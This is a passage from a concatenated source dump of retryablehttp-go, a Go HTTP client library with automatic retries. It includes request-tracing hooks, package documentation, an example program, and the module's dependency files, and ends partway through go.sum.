func(dnsInfo httptrace.DNSDoneInfo) { 168 | traceInfo.DNSDone = TraceEventInfo{ 169 | Time: time.Now(), 170 | Info: dnsInfo, 171 | } 172 | }, 173 | GetConn: func(hostPort string) { 174 | traceInfo.GetConn = TraceEventInfo{ 175 | Time: time.Now(), 176 | Info: hostPort, 177 | } 178 | }, 179 | PutIdleConn: func(err error) { 180 | traceInfo.PutIdleConn = TraceEventInfo{ 181 | Time: time.Now(), 182 | Info: err, 183 | } 184 | }, 185 | GotFirstResponseByte: func() { 186 | traceInfo.GotFirstResponseByte = TraceEventInfo{ 187 | Time: time.Now(), 188 | } 189 | }, 190 | Got100Continue: func() { 191 | traceInfo.Got100Continue = TraceEventInfo{ 192 | Time: time.Now(), 193 | } 194 | }, 195 | DNSStart: func(di httptrace.DNSStartInfo) { 196 | traceInfo.DNSStart = TraceEventInfo{ 197 | Time: time.Now(), 198 | Info: di, 199 | } 200 | }, 201 | ConnectStart: func(network, addr string) { 202 | traceInfo.ConnectStart = TraceEventInfo{ 203 | Time: time.Now(), 204 | Info: struct { 205 | Network, Addr string 206 | }{network, addr}, 207 | } 208 | }, 209 | ConnectDone: func(network, addr string, err error) { 210 | if err == nil { 211 | traceInfo.ConnectDone = TraceEventInfo{ 212 | Time: time.Now(), 213 | Info: struct { 214 | Network, Addr string 215 | Error error 216 | }{network, addr, err}, 217 | } 218 | } 219 | }, 220 | TLSHandshakeStart: func() { 221 | traceInfo.TLSHandshakeStart = TraceEventInfo{ 222 | Time: time.Now(), 223 | } 224 | }, 225 | TLSHandshakeDone: func(cs tls.ConnectionState, err error) { 226 | if err == nil { 227 | traceInfo.TLSHandshakeDone = TraceEventInfo{ 228 | Time: time.Now(), 229 | Info: struct { 230 | ConnectionState tls.ConnectionState 231 | Error error 232 | }{cs, err}, 233 | } 234 | } 235 | }, 236 | WroteHeaders: func() { 237 | traceInfo.WroteHeaders = TraceEventInfo{ 238 | Time: time.Now(), 239 | } 240 | }, 241 | WroteRequest: func(wri httptrace.WroteRequestInfo) { 242 | traceInfo.WroteRequest = TraceEventInfo{ 243 | Time: time.Now(), 244 | Info: wri, 245 | } 246 | }, 247 | } 248 | req.TraceInfo = traceInfo 249 | 250 | req.Request = req.Request.WithContext(httptrace.WithClientTrace(req.Request.Context(), trace)) 251 | } 252 | -------------------------------------------------------------------------------- /doc.go: -------------------------------------------------------------------------------- 1 | // Package retryablehttp provides a familiar HTTP client interface with 2 | // automatic retries and exponential backoff. It is a thin wrapper over the 3 | // standard net/http client library and exposes nearly the same public API. 4 | // This makes retryablehttp very easy to drop into existing programs. 5 | // 6 | // retryablehttp performs automatic retries under certain conditions. Mainly, if 7 | // an error is returned by the client (connection errors etc), or if a 500-range 8 | // response is received, then a retry is invoked. Otherwise, the response is 9 | // returned and left to the caller to interpret. 10 | // 11 | // Requests which take a request body should provide a non-nil function 12 | // parameter. The best choice is to provide either a function satisfying 13 | // ReaderFunc which provides multiple io.Readers in an efficient manner, a 14 | // *bytes.Buffer (the underlying raw byte slice will be used) or a raw byte 15 | // slice. As it is a reference type, and we will wrap it as needed by readers, 16 | // we can efficiently re-use the request body without needing to copy it. If an 17 | // io.Reader (such as a *bytes.Reader) is provided, the full body will be read 18 | // prior to the first request, and will be efficiently re-used for any retries. 19 | // ReadSeeker can be used, but some users have observed occasional data races 20 | // between the net/http library and the Seek functionality of some 21 | // implementations of ReadSeeker, so should be avoided if possible. 22 | package retryablehttp -------------------------------------------------------------------------------- /examples/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "io" 7 | "log" 8 | "net/http" 9 | "net/http/httptest" 10 | "net/http/httputil" 11 | "sync" 12 | 13 | "github.com/julienschmidt/httprouter" 14 | "github.com/projectdiscovery/retryablehttp-go" 15 | ) 16 | 17 | var ( 18 | url string 19 | short bool 20 | ) 21 | 22 | func main() { 23 | flag.StringVar(&url, "url", "https://scanme.sh", "URL to fetch") 24 | flag.BoolVar(&short, "short", false, "Skip printing http response body") 25 | flag.Parse() 26 | 27 | // close connection after each request 28 | opts := retryablehttp.DefaultOptionsSpraying 29 | // opts := retryablehttp.DefaultOptionsSingle // use single options for single host 30 | client := retryablehttp.NewClient(opts) 31 | resp, err := client.Get(url) 32 | if err != nil { 33 | panic(err) 34 | } 35 | 36 | bin, err := httputil.DumpResponse(resp, !short) 37 | if err != nil { 38 | panic(err) 39 | } 40 | fmt.Println(string(bin)) 41 | 42 | // connection reuse 43 | opts = retryablehttp.DefaultOptionsSingle 44 | client = retryablehttp.NewClient(opts) 45 | 46 | router := httprouter.New() 47 | router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { 48 | fmt.Fprintf(w, "this is a test") 49 | }) 50 | ts := httptest.NewServer(router) 51 | defer ts.Close() 52 | 53 | var wg sync.WaitGroup 54 | 55 | for i := 0; i < 5; i++ { 56 | wg.Add(1) 57 | go func() { 58 | defer wg.Done() 59 | 60 | for i := 0; i < 20; i++ { 61 | resp, err := client.Get(ts.URL) 62 | if err != nil { 63 | log.Println(err) 64 | continue 65 | } 66 | io.Copy(io.Discard, resp.Body) 67 | resp.Body.Close() 68 | } 69 | }() 70 | } 71 | 72 | wg.Wait() 73 | } 74 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/projectdiscovery/retryablehttp-go 2 | 3 | go 1.24.0 4 | 5 | require ( 6 | github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 7 | github.com/julienschmidt/httprouter v1.3.0 8 | github.com/projectdiscovery/fastdialer v0.4.0 9 | github.com/projectdiscovery/utils v0.4.19 10 | github.com/stretchr/testify v1.10.0 11 | golang.org/x/net v0.38.0 12 | ) 13 | 14 | require ( 15 | github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 // indirect 16 | github.com/akrylysov/pogreb v0.10.1 // indirect 17 | github.com/andybalholm/brotli v1.0.6 // indirect 18 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect 19 | github.com/aymerick/douceur v0.2.0 // indirect 20 | github.com/cloudflare/circl v1.5.0 // indirect 21 | github.com/davecgh/go-spew v1.1.1 // indirect 22 | github.com/dimchansky/utfbom v1.1.1 // indirect 23 | github.com/docker/go-units v0.5.0 // indirect 24 | github.com/gaissmai/bart v0.20.4 // indirect 25 | github.com/golang/snappy v0.0.4 // indirect 26 | github.com/gorilla/css v1.0.1 // indirect 27 | github.com/klauspost/compress v1.17.4 // indirect 28 | github.com/mattn/go-isatty v0.0.20 // indirect 29 | github.com/microcosm-cc/bluemonday v1.0.27 // indirect 30 | github.com/miekg/dns v1.1.62 // indirect 31 | github.com/pkg/errors v0.9.1 // indirect 32 | github.com/pmezard/go-difflib v1.0.0 // indirect 33 | github.com/projectdiscovery/blackrock v0.0.1 // indirect 34 | github.com/projectdiscovery/hmap v0.0.89 // indirect 35 | github.com/projectdiscovery/networkpolicy v0.1.15 // indirect 36 | github.com/projectdiscovery/retryabledns v1.0.100 // indirect 37 | github.com/refraction-networking/utls v1.7.0 // indirect 38 | github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect 39 | github.com/syndtr/goleveldb v1.0.0 // indirect 40 | github.com/tidwall/btree v1.4.3 // indirect 41 | github.com/tidwall/buntdb v1.3.0 // indirect 42 | github.com/tidwall/gjson v1.18.0 // indirect 43 | github.com/tidwall/grect v0.1.4 // indirect 44 | github.com/tidwall/match v1.1.1 // indirect 45 | github.com/tidwall/pretty v1.2.1 // indirect 46 | github.com/tidwall/rtred v0.1.2 // indirect 47 | github.com/tidwall/tinyqueue v0.1.1 // indirect 48 | github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db // indirect 49 | github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect 50 | github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 // indirect 51 | go.etcd.io/bbolt v1.3.7 // indirect 52 | go.uber.org/multierr v1.11.0 // indirect 53 | golang.org/x/crypto v0.36.0 // indirect 54 | golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 // indirect 55 | golang.org/x/mod v0.22.0 // indirect 56 | golang.org/x/sync v0.12.0 // indirect 57 | golang.org/x/sys v0.31.0 // indirect 58 | golang.org/x/text v0.23.0 // indirect 59 | golang.org/x/tools v0.29.0 // indirect 60 | gopkg.in/yaml.v3 v3.0.1 // indirect 61 | ) 62 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= 2 | github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 h1:KFac3SiGbId8ub47e7kd2PLZeACxc1LkiiNoDOFRClE= 3 | github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057/go.mod h1:iLB2pivrPICvLOuROKmlqURtFIEsoJZaMidQfCG1+D4= 4 | github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8= 5 | github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4= 6 | github.com/akrylysov/pogreb v0.10.1 h1:FqlR8VR7uCbJdfUob916tPM+idpKgeESDXOA1K0DK4w= 7 | github.com/akrylysov/pogreb v0.10.1/go.mod h1:pNs6QmpQ1UlTJKDezuRWmaqkgUE2TuU0YTWyqJZ7+lI= 8 | github.com/andybalholm/brotli v1.0.6 h1:Yf9fFpf49Zrxb9NlQaluyE92/+X7UVHlhMNJN2sxfOI= 9 | github.com/andybalholm/brotli v1.0.6/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= 10 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= 11 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= 12 | github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= 13 | github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= 14 | github.com/bits-and-blooms/bitset v1.13.0 h1:bAQ9OPNFYbGHV6Nez0tmNI0RiEu7/hxlYJRUA0wFAVE= 15 | github.com/bits-and-blooms/bitset v1.13.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8= 16 | github.com/bits-and-blooms/bloom/v3 v3.5.0 h1:AKDvi1V3xJCmSR6QhcBfHbCN4Vf8FfxeWkMNQfmAGhY= 17 | github.com/bits-and-blooms/bloom/v3 v3.5.0/go.mod h1:Y8vrn7nk1tPIlmLtW2ZPV+W7StdVMor6bC1xgpjMZFs= 18 | github.com/cloudflare/circl v1.5.0 h1:hxIWksrX6XN5a1L2TI/h53AGPhNHoUBo+TD1ms9+pys= 19 | github.com/cloudflare/circl v1.5.0/go.mod h1:uddAzsPgqdMAYatqJ0lsjX1oECcQLIlRpzZh3pJrofs= 20 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 21 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 22 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 23 | github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U= 24 | github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE= 25 | github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4= 26 | github.com/docker/go-units v0.5.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= 27 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 28 | github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= 29 | github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= 30 | github.com/gaissmai/bart v0.20.4 h1:Ik47r1fy3jRVU+1eYzKSW3ho2UgBVTVnUS8O993584U= 31 | github.com/gaissmai/bart v0.20.4/go.mod h1:cEed+ge8dalcbpi8wtS9x9m2hn/fNJH5suhdGQOHnYk= 32 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 33 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 34 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 35 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 36 | github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= 37 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 38 | github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= 39 | github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 40 | github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 41 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 42 | github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 43 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 44 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 45 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 46 | github.com/google/go-github/v50 v50.1.0/go.mod h1:Ev4Tre8QoKiolvbpOSG3FIi4Mlon3S2Nt9W5JYqKiwA= 47 | github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= 48 | github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= 49 | github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= 50 | github.com/hashicorp/golang-lru/v2 v2.0.6 h1:3xi/Cafd1NaoEnS/yDssIiuVeDVywU0QdFGl3aQaQHM= 51 | github.com/hashicorp/golang-lru/v2 v2.0.6/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= 52 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= 53 | github.com/julienschmidt/httprouter v1.3.0 h1:U0609e9tgbseu3rBINet9P48AI/D3oJs4dN7jwJOQ1U= 54 | github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= 55 | github.com/klauspost/compress v1.17.4 h1:Ej5ixsIri7BrIjBkRZLTo6ghwrEtHFk7ijlczPW4fZ4= 56 | github.com/klauspost/compress v1.17.4/go.mod h1:/dCuZOvVtNoHsyb+cuJD3itjs3NbnF6KH9zAO4BDxPM= 57 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 58 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 59 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 60 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 61 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 62 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 63 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 64 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 65 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 66 | github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= 67 | github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA= 68 | github.com/miekg/dns v1.1.62 h1:cN8OuEF1/x5Rq6Np+h1epln8OiyPWV+lROx9LxcGgIQ= 69 | github.com/miekg/dns v1.1.62/go.mod h1:mvDlcItzm+br7MToIKqkglaGhlFMHJ9DTNNWONWXbNQ= 70 | github.com/mreiferson/go-httpclient v0.0.0-20160630210159-31f0106b4474/go.mod h1:OQA4XLvDbMgS8P0CevmM4m9Q3Jq4phKUzcocxuGJ5m8= 71 | github.com/mreiferson/go-httpclient v0.0.0-20201222173833-5e475fde3a4d/go.mod h1:OQA4XLvDbMgS8P0CevmM4m9Q3Jq4phKUzcocxuGJ5m8= 72 | github.com/nxadm/tail v1.4.11 h1:8feyoE3OzPrcshW5/MJ4sGESc5cqmGkGCWlco4l0bqY= 73 | github.com/nxadm/tail v1.4.11/go.mod h1:OTaG3NK980DZzxbRq6lEuzgU+mug70nY11sMd4JXXHc= 74 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 75 | github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 76 | github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc= 77 | github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= 78 | github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= 79 | github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE= 80 | github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg= 81 | github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk= 82 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 83 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 84 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 85 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 86 | github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ= 87 | github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss= 88 | github.com/projectdiscovery/fastdialer v0.4.0 h1:licZKyq+Shd5lLDb8uPd60Jp43K4NFE8cr67XD2eg7w= 89 | github.com/projectdiscovery/fastdialer v0.4.0/go.mod h1:Q0YLArvpx9GAfY/NcTPMCA9qZuVOGnuVoNYWzKBwxdQ= 90 | github.com/projectdiscovery/hmap v0.0.89 h1:H+XIzk2YcE/9PpW/1N9NdQSrJWm2vthGPNIxSM+WHNU= 91 | github.com/projectdiscovery/hmap v0.0.89/go.mod h1:N3gXFDLN6GqkYsk+2ZkReVOo32OBUV+PNiYyWhWG4ZE= 92 | github.com/projectdiscovery/networkpolicy v0.1.15 h1:jHHPo43s/TSiWmm6T8kJuMqTwL3ukU92iQhxq0K0jg0= 93 | github.com/projectdiscovery/networkpolicy v0.1.15/go.mod h1:GWMDGJmgJ9qGoVTUOxbq1oLIbEx0pPsL0VKlriCkn2g= 94 | github.com/projectdiscovery/retryabledns v1.0.100 h1:u4dv88P4lZOUCBpCYtmd/McpJ9ThPmdgNLLNwK0a3g4= 95 | github.com/projectdiscovery/retryabledns v1.0.100/go.mod h1:fQI91PKUyTZYL2pYloyA9Bh3Bq8IgOB6X+bN+8Xm14I= 96 | github.com/projectdiscovery/utils v0.4.19 h1:rWOOTWUMQK9gvgH01rrw0qFi0hrh712hM1pCUzapCqA= 97 | github.com/projectdiscovery/utils v0.4.19/go.mod h1:y5gnpQn802iEWqf0djTRNskJlS62P5eqe1VS1+ah0tk= 98 | github.com/refraction-networking/utls v1.7.0 h1:9JTnze/Md74uS3ZWiRAabityY0un69rOLXsBf8LGgTs= 99 | github.com/refraction-networking/utls v1.7.0/go.mod h1:lV0Gwc1/Fi+HYH8hOtgFRdHfKo4FKSn6+FdyOz9hRms= 100 | github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA= 101 | github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= 102 | github.com/sirupsen/logrus v1.3.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= 103 | github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= 104 | github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 105 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 106 | github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 107 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 108 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 109 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 110 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 111 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 112 | github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE= 113 | github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ= 114 | github.com/tidwall/assert v0.1.0 h1:aWcKyRBUAdLoVebxo95N7+YZVTFF/ASTr7BN4sLP6XI= 115 | github.com/tidwall/assert v0.1.0/go.mod h1:QLYtGyeqse53vuELQheYl9dngGCJQ+mTtlxcktb+Kj8= 116 | github.com/tidwall/btree v1.4.3 h1:Lf5U/66bk0ftNppOBjVoy/AIPBrLMkheBp4NnSNiYOo= 117 | github.com/tidwall/btree v1.4.3/go.mod h1:LGm8L/DZjPLmeWGjv5kFrY8dL4uVhMmzmmLYmsObdKE= 118 | github.com/tidwall/buntdb v1.3.0 h1:gdhWO+/YwoB2qZMeAU9JcWWsHSYU3OvcieYgFRS0zwA= 119 | github.com/tidwall/buntdb v1.3.0/go.mod h1:lZZrZUWzlyDJKlLQ6DKAy53LnG7m5kHyrEHvvcDmBpU= 120 | github.com/tidwall/gjson v1.12.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 121 | github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= 122 | github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 123 | github.com/tidwall/grect v0.1.4 h1:dA3oIgNgWdSspFzn1kS4S/RDpZFLrIxAZOdJKjYapOg= 124 | github.com/tidwall/grect v0.1.4/go.mod h1:9FBsaYRaR0Tcy4UwefBX/UDcDcDy9V5jUcxHzv2jd5Q= 125 | github.com/tidwall/lotsa v1.0.2 h1:dNVBH5MErdaQ/xd9s769R31/n2dXavsQ0Yf4TMEHHw8= 126 | github.com/tidwall/lotsa v1.0.2/go.mod h1:X6NiU+4yHA3fE3Puvpnn1XMDrFZrE9JO2/w+UMuqgR8= 127 | github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= 128 | github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= 129 | github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 130 | github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= 131 | github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 132 | github.com/tidwall/rtred v0.1.2 h1:exmoQtOLvDoO8ud++6LwVsAMTu0KPzLTUrMln8u1yu8= 133 | github.com/tidwall/rtred v0.1.2/go.mod h1:hd69WNXQ5RP9vHd7dqekAz+RIdtfBogmglkZSRxCHFQ= 134 | github.com/tidwall/tinyqueue v0.1.1 h1:SpNEvEggbpyN5DIReaJ2/1ndroY8iyEGxPYxoSaymYE= 135 | github.com/tidwall/tinyqueue v0.1.1/go.mod h1:O/QNHwrnjqr6IHItYrzoHAKYhBkLI67Q096fQP5zMYw= 136 | github.com/weppos/publicsuffix-go v0.13.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k= 137 | github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db h1:/WcxBne+5CbtbgWd/sV2wbravmr4sT7y52ifQaCgoLs= 138 | github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db/go.mod h1:aiQaH1XpzIfgrJq3S1iw7w+3EDbRP7mF5fmwUhWyRUs= 139 | github.com/yl2chen/cidranger v1.0.2 h1:lbOWZVCG1tCRX4u24kuM1Tb4nHqWkDxwLdoS+SevawU= 140 | github.com/yl2chen/cidranger v1.0.2/go.mod h1:9U1yz7WPYDwf0vpNWFaeRh0bjwz5RVgRy/9UEQfHl0g= 141 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 142 | github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= 143 | github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 h1:Nzukz5fNOBIHOsnP+6I79kPx3QhLv8nBy2mfFhBRq30= 144 | github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= 145 | github.com/zmap/zcertificate v0.0.0-20180516150559-0e3d58b1bac4/go.mod h1:5iU54tB79AMBcySS0R2XIyZBAVmeHranShAFELYx7is= 146 | github.com/zmap/zcertificate v0.0.1/go.mod 